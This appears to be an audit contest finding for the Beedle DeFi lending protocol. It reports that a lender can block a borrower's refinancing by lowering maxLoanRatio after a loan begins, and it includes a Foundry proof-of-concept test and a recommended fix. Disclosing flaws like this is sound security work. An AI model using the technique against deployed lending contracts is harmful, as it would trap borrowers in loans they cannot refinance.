Beedle - Oracle free perpetual lending
BeedleFi
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: high

Lender can permanantly make all Refinance() calls revert by changing the maxLoanRatio to 1 after the loan has already started

BanditSecurity

Summary

The details of the pool can be changed after a loan has already been taken. Some attributes such as interest rate are not forwarded on to pre-existing loans. However when refinance is called, the maxLoanRatio() of the pool is called. By setting the ratio to 1 (the minimum accepted value) in the lender being unable to refinance their loans.

Proof of Concept

In this POC, the lender changed the maxLoanRatio after the loan was already taken. As a result, the borrower's attempts to refinance reverts. This test should be copy-pasted to the bottom of the pre-existing Lender.t.sol testfile.

function test_refinance_prevention() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
​
(,,,,uint256 poolBalance,,,,) = lender.pools(poolId);
assertEq(poolBalance, 1000*10**18);
​
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
​
//end borrow
​
vm.startPrank(lender1);
lender.updateMaxLoanRatio(poolId, 1);
vm.stopPrank();
​
vm.startPrank(borrower);
Refinance memory r = Refinance({
loanId: 0,
poolId: keccak256(
abi.encode(
address(lender1),
address(loanToken),
address(collateralToken)
)
),
debt: 100*10**18,
collateral: 100*10**18
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
​
vm.expectRevert();
lender.refinance(rs);
​
// assertEq(loanToken.balanceOf(address(borrower)), 100*10**18);
// assertEq(collateralToken.balanceOf(address(lender)), 100*10**18);
}
}

Impact

Lender can permanently prevent borrower from repaying their loans

Tools Used

Foundry

Recommendations

Track the maxLoanRatio in the Loan Struct rather than the Pool Struct

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.